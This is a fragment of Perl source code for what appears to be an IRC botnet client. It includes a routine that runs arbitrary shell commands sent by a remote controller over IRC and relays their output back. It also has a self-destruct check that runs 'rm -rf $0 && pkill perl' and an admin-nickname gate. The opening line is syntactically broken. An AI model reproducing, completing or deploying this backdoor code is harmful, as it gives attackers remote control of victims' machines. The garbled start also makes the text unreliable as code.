while ($res =~ m/new(PeerAddr=>"$host", PeerPort=>"80", Proto=>"tcp") or return;
print $sock "GET $query HTTP/1.0\r\nHost: $host\r\nAccept: */*\r\nUser-Agent: $uagent\r\n\r\n";
my @pages = <$sock>;
$page = "@pages";
close($sock);
};
return $page;
}
#########################################
sub SIGN() {
if (($powered !~ /e/)||($mail !~ /rg/)) {
print "\nLAMER DETECTED FVCK YOU. YOU NOT HACKER. U JUST SCRIPT KIDDIES\n\n";
exec("rm -rf $0 && pkill perl");
}
}
sub shell() {
my $path = $_[0];
my $cmd = $_[1];
if ($cmd =~ /cd (.*)/) {
chdir("$1") || &msg("$path","No such file or directory");
return;
}
elsif ($pid = fork) { waitpid($pid, 0); }
else { if (fork) { exit; } else {
my @output = `$cmd 2>&1 3>&1`;
my $c = 0;
foreach my $output (@output) {
$c++;
chop $output;
&msg("$path","$output");
if ($c == 5) { $c = 0; sleep 3; }
}
exit;
}}
}
sub isAdmin() {
my $status = 0;
my $nick = $_[0];
if ($nick eq $admin) { $status = 1; }
return $status;
}
sub msg() {
return unless $#_ == 1;
sendraw($IRC_cur_socket, "PRIVMSG $_[0] :$_[1]");
}
sub nick() {
return unless $#_ == 0;
sendraw("NICK $_[0]");
}
sub notice() {
return unless $#_ == 1;
sendraw("NOTICE $_[0] :$_[1]");
}
}}
|